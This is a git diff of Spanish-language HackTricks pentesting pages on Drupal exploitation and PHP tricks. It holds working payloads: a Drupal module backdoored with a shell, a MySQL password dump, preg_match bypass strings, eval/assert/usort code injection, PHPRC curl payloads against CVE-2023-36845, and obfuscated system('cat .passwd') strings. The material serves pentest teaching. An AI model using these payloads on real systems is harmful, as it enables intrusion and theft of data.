* **Nodo**: Drupal **indexa su contenido utilizando nodos**. Un nodo puede **contener cualquier cosa** como una publicación de blog, encuesta, artículo, etc. Las URIs de las páginas suelen tener la forma `/node/<nodeid>`.
|
||||
* **Nodo**: Drupal **indexa su contenido utilizando nodos**. Un nodo puede **contener cualquier cosa** como una publicación de blog, encuesta, artículo, etc. Las URI de las páginas suelen tener la forma `/node/<nodeid>`.
|
||||
```bash
|
||||
curl drupal-site.com/node/1
|
||||
```
|
||||
|
@ -53,7 +53,7 @@ Las nuevas instalaciones de Drupal bloquean por defecto el acceso a los archivos
|
|||
|
||||
#### Registro
|
||||
|
||||
En _/user/register_ intenta crear un nombre de usuario y si el nombre ya está tomado, se te notificará:
|
||||
En _/user/register_ simplemente intenta crear un nombre de usuario y si el nombre ya está tomado, se te notificará:
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -69,7 +69,7 @@ Si solicitas una nueva contraseña para un nombre de usuario que no existe:
|
|||
|
||||
### Obtener número de usuarios
|
||||
|
||||
Accediendo a _/user/\<number>_ puedes ver el número de usuarios existentes, en este caso es 2 ya que _/users/3_ devuelve un error de no encontrado:
|
||||
Accediendo a _/user/\<número>_ puedes ver la cantidad de usuarios existentes, en este caso son 2 ya que _/users/3_ devuelve un error de no encontrado:
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -77,7 +77,7 @@ Accediendo a _/user/\<number>_ puedes ver el número de usuarios existentes, en
|
|||
|
||||
### Páginas ocultas
|
||||
|
||||
**Fuzz `/node/$` donde `$` es un número** (de 1 a 500, por ejemplo).\
|
||||
**Fuzz `/node/$` donde `$` es un número** (de 1 a 500 por ejemplo).\
|
||||
Podrías encontrar **páginas ocultas** (de prueba, desarrollo) que no están referenciadas por los motores de búsqueda.
|
||||
|
||||
#### Información de módulos instalados
|
||||
|
@ -102,7 +102,7 @@ droopescan scan drupal -u http://drupal-site.local
|
|||
En versiones antiguas de Drupal **(antes de la versión 8)**, era posible iniciar sesión como administrador y **habilitar el módulo `Filtro PHP`**, que "Permite evaluar código/snippets PHP incrustados."
|
||||
{% endhint %}
|
||||
|
||||
Necesitas que el **plugin php esté instalado** (verifica accediendo a _/modules/php_ y si devuelve un **403**, entonces **existe**, si **no se encuentra**, entonces el **plugin php no está instalado**)
|
||||
Necesitas que el **plugin php esté instalado** (verifica accediendo a _/modules/php_ y si devuelve un **403** entonces, **existe**, si **no se encuentra**, entonces el **plugin php no está instalado**)
|
||||
|
||||
Ve a _Módulos_ -> (**Marca**) _Filtro PHP_ -> _Guardar configuración_
|
||||
|
||||
|
@ -112,7 +112,7 @@ Luego haz clic en _Agregar contenido_ -> Selecciona _Página básica_ o _Artícu
|
|||
|
||||
.png>)
|
||||
|
||||
Finalmente, simplemente accede al nodo recién creado:
|
||||
Finalmente solo accede al nodo recién creado:
|
||||
```bash
|
||||
curl http://drupal-site.local/node/3
|
||||
```
|
||||
|
@ -123,14 +123,14 @@ Desde la versión **8 en adelante, el** [**módulo PHP Filter**](https://www.dru
|
|||
1. Descargar la versión más reciente del módulo desde el sitio web de Drupal.
|
||||
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||||
2. Una vez descargado, ir a **`Administración`** > **`Informes`** > **`Actualizaciones disponibles`**.
|
||||
3. Hacer clic en **`Examinar`**, seleccionar el archivo del directorio donde lo descargamos y luego hacer clic en **`Instalar`**.
|
||||
4. Una vez instalado el módulo, podemos hacer clic en **`Contenido`** y **crear una nueva página básica**, similar a como lo hicimos en el ejemplo de Drupal 7. Nuevamente, asegúrate de **seleccionar `Código PHP` en el menú desplegable de `Formato de texto`**.
|
||||
3. Hacer clic en **`Examinar`**, seleccionar el archivo del directorio donde lo descargamos, y luego hacer clic en **`Instalar`**.
|
||||
4. Una vez instalado el módulo, podemos hacer clic en **`Contenido`** y **crear una nueva página básica**, similar a como lo hicimos en el ejemplo de Drupal 7. Nuevamente, asegúrese de **seleccionar `Código PHP` en el menú desplegable de `Formato de texto`**.
|
||||
|
||||
### Módulo con Puerta Trasera
|
||||
|
||||
Un módulo con puerta trasera se puede crear **agregando un shell a un módulo existente**. Los módulos se pueden encontrar en el sitio web drupal.org. Vamos a elegir un módulo como [CAPTCHA](https://www.drupal.org/project/captcha). Desplázate hacia abajo y copia el enlace para el archivo tar.gz [archivo](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||||
Un módulo con puerta trasera se puede crear **agregando un shell a un módulo existente**. Los módulos se pueden encontrar en el sitio web de drupal.org. Elija un módulo como [CAPTCHA](https://www.drupal.org/project/captcha). Desplácese hacia abajo y copie el enlace para el archivo tar.gz [archivo](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||||
|
||||
* Descargar el archivo y extraer su contenido.
|
||||
* Descargue el archivo y extraiga su contenido.
|
||||
```
|
||||
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
|
||||
tar xvf captcha-8.x-1.2.tar.gz
|
||||
|
@ -148,12 +148,12 @@ RewriteEngine On
|
|||
RewriteBase /
|
||||
</IfModule>
|
||||
```
|
||||
* La configuración anterior aplicará reglas para la carpeta / cuando solicitamos un archivo en /modules. Copia ambos de estos archivos a la carpeta captcha y crea un archivo comprimido.
|
||||
* La configuración anterior aplicará reglas para la carpeta / cuando solicitamos un archivo en /modules. Copia ambos de estos archivos a la carpeta captcha y crea un archivo.
|
||||
```bash
|
||||
mv shell.php .htaccess captcha
|
||||
tar cvf captcha.tar.gz captcha/
|
||||
```
|
||||
* Suponiendo que tenemos **acceso administrativo** al sitio web, haz clic en **`Administrar`** y luego en **`Extender`** en la barra lateral. A continuación, haz clic en el botón **`+ Instalar nuevo módulo`**, y seremos llevados a la página de instalación, como `http://drupal-site.local/admin/modules/install`. Navega hasta el archivo Captcha con puerta trasera y haz clic en **`Instalar`**.
|
||||
* Suponiendo que tenemos **acceso administrativo** al sitio web, haz clic en **`Administrar`** y luego en **`Extender`** en la barra lateral. A continuación, haz clic en el botón **`+ Instalar nuevo módulo`**, y seremos llevados a la página de instalación, como `http://drupal-site.local/admin/modules/install`. Navega hasta el archivo de Captcha con puerta trasera y haz clic en **`Instalar`**.
|
||||
* Una vez que la instalación tenga éxito, navega a **`/modules/captcha/shell.php`** para ejecutar comandos.
|
||||
|
||||
## Post Explotación
|
||||
|
@ -170,18 +170,18 @@ mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from
|
|||
|
||||
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -38,16 +38,16 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|||
|
||||
### Comparaciones débiles/Type Juggling ( == )
|
||||
|
||||
Si se utiliza `==` en PHP, pueden ocurrir casos inesperados donde la comparación no se comporta como se espera. Esto se debe a que "==" solo compara valores transformados al mismo tipo, si también deseas comparar que el tipo de los datos comparados sea el mismo, necesitas usar `===`.
|
||||
Si se utiliza `==` en PHP, hay casos inesperados donde la comparación no se comporta como se espera. Esto se debe a que "==" solo compara valores transformados al mismo tipo, si también deseas comparar que el tipo de los datos comparados sea el mismo, necesitas usar `===`.
|
||||
|
||||
Tablas de comparación en PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
Tablas de comparación de PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
.png>)
|
||||
|
||||
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
|
||||
* `"string" == 0 -> True` Una cadena que no comienza con un número es igual a un número
|
||||
* `"0xAAAA" == "43690" -> True` Cadenas compuestas por números en formato decimal o hexadecimal pueden compararse con otros números/cadenas con True como resultado si los números son iguales (los números en una cadena se interpretan como números)
|
||||
* `"0xAAAA" == "43690" -> True` Cadenas compuestas por números en formato dec o hex pueden compararse con otros números/cadenas con True como resultado si los números son iguales (los números en una cadena se interpretan como números)
|
||||
* `"0e3264578" == 0 --> True` Una cadena que comienza con "0e" y seguida por cualquier cosa será igual a 0
|
||||
* `"0X3264578" == 0X --> True` Una cadena que comienza con "0" y seguida por cualquier letra (X puede ser cualquier letra) y seguida por cualquier cosa será igual a 0
|
||||
* `"0e12334" == "0" --> True` Esto es muy interesante porque en algunos casos puedes controlar la entrada de cadena de "0" y algún contenido que se está hasheando y comparándolo. Por lo tanto, si puedes proporcionar un valor que creará un hash que comienza con "0e" y sin ninguna letra, podrías saltar la comparación. Puedes encontrar **cadenas ya hasheadas** con este formato aquí: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
|
@ -57,7 +57,7 @@ Más información en [https://medium.com/swlh/php-type-juggling-vulnerabilities-
|
|||
|
||||
### **in\_array()**
|
||||
|
||||
**Type Juggling** también afecta a la función `in_array()` de forma predeterminada (necesitas establecer en verdadero el tercer argumento para hacer una comparación estricta):
|
||||
**Type Juggling** también afecta a la función `in_array()` de forma predeterminada (necesitas establecer en true el tercer argumento para hacer una comparación estricta):
|
||||
```php
|
||||
$values = array("apple","orange","pear","grape");
|
||||
var_dump(in_array(0, $values));
|
||||
|
@ -74,15 +74,17 @@ if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Re
|
|||
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
```
|
||||
### Tipos estrictos de conversión
|
||||
El mismo error ocurre con `strcasecmp()`
|
||||
|
||||
Incluso si se utiliza `===`, podría haber errores que hagan que la comparación sea vulnerable al **type juggling**. Por ejemplo, si la comparación está convirtiendo los datos a un tipo de objeto diferente antes de compararlos:
|
||||
### Conversión estricta de tipos
|
||||
|
||||
Incluso si se utiliza `===` podría haber errores que hacen que la comparación sea vulnerable al **type juggling**. Por ejemplo, si la comparación está convirtiendo los datos a un tipo de objeto diferente antes de comparar:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
### preg\_match(/^.\*/)
|
||||
|
||||
**`preg_match()`** se podría utilizar para **validar la entrada del usuario** (comprueba si alguna **palabra/regex** de una **lista negra** está **presente** en la **entrada del usuario** y si no lo está, el código puede continuar con su ejecución).
|
||||
**`preg_match()`** podría ser utilizado para **validar la entrada del usuario** (verifica si alguna **palabra/expresión regular** de una **lista negra** está **presente** en la **entrada del usuario** y si no lo está, el código puede continuar con su ejecución).
|
||||
|
||||
#### Bypass de salto de línea
|
||||
|
||||
|
@ -109,7 +111,7 @@ Encuentra un ejemplo aquí: [https://ramadistra.dev/fbctf-2019-rceservice](https
|
|||
|
||||
#### **Bypass de error de longitud**
|
||||
|
||||
(Este bypass fue probado aparentemente en PHP 5.2.5 y no pude hacerlo funcionar en PHP 7.3.15)\
|
||||
(Este bypass aparentemente se intentó en PHP 5.2.5 y no pude hacerlo funcionar en PHP 7.3.15)\
|
||||
Si puedes enviar a `preg_match()` una **entrada muy grande** válida, **no podrá procesarla** y podrás **burlar** la verificación. Por ejemplo, si está en una lista negra un JSON podrías enviar:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
|
@ -123,10 +125,10 @@ Truco de: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-wr
|
|||
En resumen, el problema ocurre porque las funciones `preg_*` en PHP se basan en la [biblioteca PCRE](http://www.pcre.org/). En PCRE, ciertas expresiones regulares se emparejan utilizando muchas llamadas recursivas, lo que utiliza una gran cantidad de espacio de pila. Es posible establecer un límite en la cantidad de recursiones permitidas, pero en PHP este límite [por defecto es de 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), que es más de lo que cabe en la pila.
|
||||
|
||||
[Este hilo de Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) también fue vinculado en la publicación donde se habla más a fondo sobre este problema. Nuestra tarea ahora estaba clara:\
|
||||
**Enviar una entrada que haga que la regex realice más de 100.000 recursiones, causando SIGSEGV, haciendo que la función `preg_match()` devuelva `false`, haciendo que la aplicación piense que nuestra entrada no es maliciosa, lanzando la sorpresa al final de la carga útil algo como `{system(<verybadcommand>)}` para obtener SSTI --> RCE --> bandera :)**.
|
||||
**Enviar una entrada que haga que la regex realice más de 100.000 recursiones, causando SIGSEGV, haciendo que la función `preg_match()` devuelva `false`, lo que hace que la aplicación piense que nuestra entrada no es maliciosa, lanzando la sorpresa al final de la carga útil algo como `{system(<verybadcommand>)}` para obtener SSTI --> RCE --> bandera :)**.
|
||||
|
||||
Bueno, en términos de regex, en realidad no estamos haciendo 100k "recursiones", sino que estamos contando "pasos de retroceso", que como dice la [documentación de PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) por defecto es de 1.000.000 (1M) en la variable `pcre.backtrack_limit`.\
|
||||
Para lograr eso, `'X'*500_001` resultará en 1 millón de pasos de retroceso (500k hacia adelante y 500k hacia atrás):
|
||||
Bueno, en términos de regex, en realidad no estamos haciendo 100k "recursiones", sino que estamos contando "pasos de retroceso", que como dice la [documentación de PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) se establece por defecto en 1.000.000 (1M) en la variable `pcre.backtrack_limit`.\
|
||||
Para alcanzar eso, `'X'*500_001` resultará en 1 millón de pasos de retroceso (500k hacia adelante y 500k hacia atrás):
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
|
@ -153,7 +155,7 @@ header('Location: /index.php?page=default.html');
|
|||
readfile($page);
|
||||
?>
|
||||
```
|
||||
## Explotación de Traversal de Ruta e Inclusión de Archivos
|
||||
## Explotación de Travesía de Directorios e Inclusión de Archivos
|
||||
|
||||
Verifica:
|
||||
|
||||
|
@ -163,16 +165,15 @@ Verifica:
|
|||
|
||||
## Más trucos
|
||||
|
||||
* **register\_globals**: En **PHP < 4.1.1.1** o si está mal configurado, **register\_globals** puede estar activo (o su comportamiento se está imitando). Esto implica que en variables globales como $\_GET si tienen un valor por ejemplo $\_GET\["param"]="1234", puedes acceder a él a través de **$param**. Por lo tanto, al enviar parámetros HTTP puedes sobrescribir variables que se utilizan dentro del código.
|
||||
* Las **cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar**, por lo tanto, si dentro de un dominio **se utilizan diferentes cookies en diferentes rutas** puedes hacer que una ruta **acceda a la cookie de la ruta** estableciendo el valor de la cookie de la otra ruta.\
|
||||
De esta manera, si **ambas rutas acceden a una variable con el mismo nombre** puedes hacer que **el valor de esa variable en la ruta1 se aplique a la ruta2**. Y luego la ruta2 considerará válidas las variables de la ruta1 (dándole a la cookie el nombre que le corresponde en la ruta2).
|
||||
* **register\_globals**: En **PHP < 4.1.1.1** o si está mal configurado, **register\_globals** puede estar activo (o su comportamiento se está imitando). Esto implica que en variables globales como $\_GET si tienen un valor por ejemplo $\_GET\["param"]="1234", puedes acceder a él a través de **$param**. Por lo tanto, enviando parámetros HTTP puedes sobrescribir variables que se utilizan dentro del código.
|
||||
* Las **cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar**, por lo tanto, si dentro de un dominio **se utilizan diferentes cookies en diferentes rutas** puedes hacer que una ruta **acceda a la cookie de la otra ruta** estableciendo el valor de la cookie de la otra ruta. De esta manera, si **ambas rutas acceden a una variable con el mismo nombre** puedes hacer que **el valor de esa variable en la ruta1 se aplique a la ruta2**. Y luego la ruta2 considerará válidas las variables de la ruta1 (dándole a la cookie el nombre que le corresponde en la ruta2).
|
||||
* Cuando tienes los **nombres de usuario** de los usuarios de la máquina. Verifica la dirección: **/\~\<USERNAME>** para ver si los directorios php están activados.
|
||||
* [**LFI y RCE usando envolturas php**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password\_hash/password\_verify
|
||||
|
||||
Estas funciones se utilizan típicamente en PHP para **generar hashes a partir de contraseñas** y para **verificar** si una contraseña es correcta en comparación con un hash.\
|
||||
Los algoritmos admitidos son: `PASSWORD_DEFAULT` y `PASSWORD_BCRYPT` (comienza con `$2y$`). Ten en cuenta que **PASSWORD\_DEFAULT** frecuentemente es lo mismo que PASSWORD\_BCRYPT. Y actualmente, **PASSWORD\_BCRYPT** tiene una **limitación de tamaño en la entrada de 72 bytes**. Por lo tanto, cuando intentas hashear algo más grande que 72 bytes con este algoritmo, solo se utilizarán los primeros 72 bytes:
|
||||
Los algoritmos admitidos son: `PASSWORD_DEFAULT` y `PASSWORD_BCRYPT` (comienza con `$2y$`). Ten en cuenta que **PASSWORD\_DEFAULT** frecuentemente es lo mismo que **PASSWORD\_BCRYPT**. Y actualmente, **PASSWORD\_BCRYPT** tiene una **limitación de tamaño en la entrada de 72 bytes**. Por lo tanto, cuando intentas generar un hash de algo mayor a 72 bytes con este algoritmo, solo se utilizarán los primeros 72 bytes:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
|
@ -182,8 +183,8 @@ True
|
|||
```
|
||||
### Bypass de cabeceras HTTP abusando de errores PHP
|
||||
|
||||
Si una **página PHP está imprimiendo errores y devolviendo algo de la entrada proporcionada por el usuario**, el usuario puede hacer que el servidor PHP devuelva algún **contenido lo suficientemente largo** para que al intentar **agregar las cabeceras** en la respuesta el servidor genere un error.\
|
||||
En el siguiente escenario, el **atacante hizo que el servidor generara algunos errores grandes**, y como se puede ver en la captura de pantalla, cuando PHP intentó **modificar la información de la cabecera, no pudo** (por lo que, por ejemplo, la cabecera CSP no se envió al usuario):
|
||||
Si una **página PHP está imprimiendo errores y haciendo eco de alguna entrada proporcionada por el usuario**, el usuario puede hacer que el servidor PHP imprima algún **contenido lo suficientemente largo** para que cuando intente **agregar las cabeceras** en la respuesta, el servidor arroje un error.\
|
||||
En el siguiente escenario, el **atacante hizo que el servidor arrojara algunos errores grandes**, y como se puede ver en la captura de pantalla, cuando PHP intentó **modificar la información de la cabecera, no pudo** (por lo que, por ejemplo, la cabecera CSP no se envió al usuario):
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -193,14 +194,14 @@ En el siguiente escenario, el **atacante hizo que el servidor generara algunos e
|
|||
**\`ls\`;**\
|
||||
**shell\_exec("ls");**
|
||||
|
||||
[Consulta esto para obtener más funciones útiles de PHP](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
[Verifica esto para más funciones útiles de PHP](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
|
||||
### **RCE a través de** **preg\_replace()**
|
||||
```php
|
||||
preg_replace(pattern,replace,base)
|
||||
preg_replace("/a/e","phpinfo()","whatever")
|
||||
```
|
||||
Para ejecutar el código en el argumento "replace" es necesario al menos una coincidencia.\
|
||||
Para ejecutar el código en el argumento "replace" se necesita al menos una coincidencia.
|
||||
Esta opción de preg\_replace ha sido **obsoleta a partir de PHP 5.5.0.**
|
||||
|
||||
### **RCE a través de Eval()**
|
||||
|
@ -213,8 +214,8 @@ Esta opción de preg\_replace ha sido **obsoleta a partir de PHP 5.5.0.**
|
|||
```
|
||||
### **RCE a través de Assert()**
|
||||
|
||||
Esta función en php te permite **ejecutar código que está escrito en una cadena** para **devolver verdadero o falso** (y dependiendo de esto alterar la ejecución). Normalmente la variable de usuario se insertará en medio de una cadena. Por ejemplo:\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> En este caso para obtener **RCE** podrías hacer:
|
||||
Esta función en php te permite **ejecutar código que está escrito en una cadena** para **devolver verdadero o falso** (y dependiendo de esto alterar la ejecución). Por lo general, la variable de usuario se insertará en medio de una cadena. Por ejemplo:\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> En este caso, para obtener **RCE** podrías hacer:
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
|
@ -247,13 +248,15 @@ function foo($x,$y){
|
|||
usort();}phpinfo;#, "cmp");
|
||||
}?>
|
||||
```
|
||||
Puedes usar **//** para comentar el resto del código.
|
||||
### **Comentarios en PHP**
|
||||
|
||||
También puedes usar **//** para comentar el resto del código.
|
||||
|
||||
Para descubrir el número de paréntesis que necesitas cerrar:
|
||||
|
||||
- `?order=id;}//`: obtenemos un mensaje de error (`Error de análisis: error de sintaxis, ';' inesperado`). Probablemente nos falte uno o más corchetes.
|
||||
- `?order=id);}//`: obtenemos una **advertencia**. Eso parece estar correcto.
|
||||
- `?order=id));}//`: obtenemos un mensaje de error (`Error de análisis: error de sintaxis, ')' inesperado`). Probablemente tengamos demasiados corchetes de cierre.
|
||||
* `?order=id;}//`: obtenemos un mensaje de error (`Parse error: syntax error, unexpected ';'`). Probablemente nos falte uno o más corchetes.
|
||||
* `?order=id);}//`: obtenemos una **advertencia**. Eso parece estar correcto.
|
||||
* `?order=id));}//`: obtenemos un mensaje de error (`Parse error: syntax error, unexpected ')' i`). Probablemente tengamos demasiados corchetes de cierre.
|
||||
|
||||
### **RCE a través de .httaccess**
|
||||
|
||||
|
@ -265,18 +268,18 @@ Se pueden encontrar diferentes shells .htaccess [aquí](https://github.com/wireg
|
|||
|
||||
Si encuentras una vulnerabilidad que te permita **modificar variables de entorno en PHP** (y otra para subir archivos, aunque con más investigación tal vez se pueda evadir), podrías abusar de este comportamiento para obtener **RCE**.
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Esta variable de entorno te permite cargar bibliotecas arbitrarias al ejecutar otros binarios (aunque en este caso podría no funcionar).
|
||||
- **`PHPRC`** : Instruye a PHP sobre **dónde localizar su archivo de configuración**, generalmente llamado `php.ini`. Si puedes subir tu propio archivo de configuración, entonces usa `PHPRC` para apuntar a PHP. Agrega una entrada de **`auto_prepend_file`** especificando un segundo archivo subido. Este segundo archivo contiene código **PHP normal, que luego es ejecutado** por el tiempo de ejecución de PHP antes que cualquier otro código.
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Esta variable de entorno te permite cargar bibliotecas arbitrarias al ejecutar otros binarios (aunque en este caso podría no funcionar).
|
||||
* **`PHPRC`** : Instruye a PHP sobre **dónde localizar su archivo de configuración**, generalmente llamado `php.ini`. Si puedes subir tu propio archivo de configuración, entonces usa `PHPRC` para apuntar a PHP. Agrega una entrada de **`auto_prepend_file`** especificando un segundo archivo subido. Este segundo archivo contiene código **PHP normal, que luego es ejecutado** por el tiempo de ejecución de PHP antes que cualquier otro código.
|
||||
1. Sube un archivo PHP que contenga nuestro código de shell
|
||||
2. Sube un segundo archivo que contenga una directiva de **`auto_prepend_file`** instruyendo al preprocesador de PHP a ejecutar el archivo que subimos en el paso 1
|
||||
3. Establece la variable `PHPRC` al archivo que subimos en el paso 2.
|
||||
- Obtén más información sobre cómo ejecutar esta cadena [**desde el informe original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
- **PHPRC** - otra opción
|
||||
- Si **no puedes subir archivos**, podrías usar en FreeBSD el "archivo" `/dev/fd/0` que contiene el **`stdin`**, siendo el **cuerpo** de la solicitud enviada al `stdin`:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
- O para obtener RCE, habilita **`allow_url_include`** y antepón un archivo con **código PHP en base64**:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
- Técnica [**de este informe**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
||||
3. Establece la variable `PHPRC` en el archivo que subimos en el paso 2.
|
||||
* Obtén más información sobre cómo ejecutar esta cadena [**desde el informe original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
* **PHPRC** - otra opción
|
||||
* Si **no puedes subir archivos**, podrías usar en FreeBSD el "archivo" `/dev/fd/0` que contiene el **`stdin`**, siendo el **cuerpo** de la solicitud enviada al `stdin`:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
* O para obtener RCE, habilita **`allow_url_include`** y antepón un archivo con **código PHP en base64**:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
* Técnica [**de este informe**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
||||
|
||||
## Análisis Estático de PHP
|
||||
|
||||
|
@ -290,7 +293,7 @@ Si estás depurando una aplicación PHP, puedes habilitar globalmente la impresi
|
|||
|
||||
### Desofuscando código PHP
|
||||
|
||||
Puedes usar la **web** [**www.unphp.net**](http://www.unphp.net) **para desofuscar código PHP.**
|
||||
Puedes utilizar la **web** [**www.unphp.net**](http://www.unphp.net) **para desofuscar código PHP.**
|
||||
|
||||
## Envoltorios y Protocolos PHP
|
||||
|
||||
|
@ -329,6 +332,8 @@ Si en una página puedes **crear un nuevo objeto de una clase arbitraria**, podr
|
|||
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
|
||||
```
|
||||
### **XOR**
|
||||
|
||||
La operación XOR (OR exclusivo) es una operación lógica que resulta en verdadero si los operandos son diferentes y falso si son iguales.
|
||||
```php
|
||||
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
|
||||
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
|
||||
|
@ -411,13 +416,13 @@ $____.=$__;
|
|||
$_=$$____;
|
||||
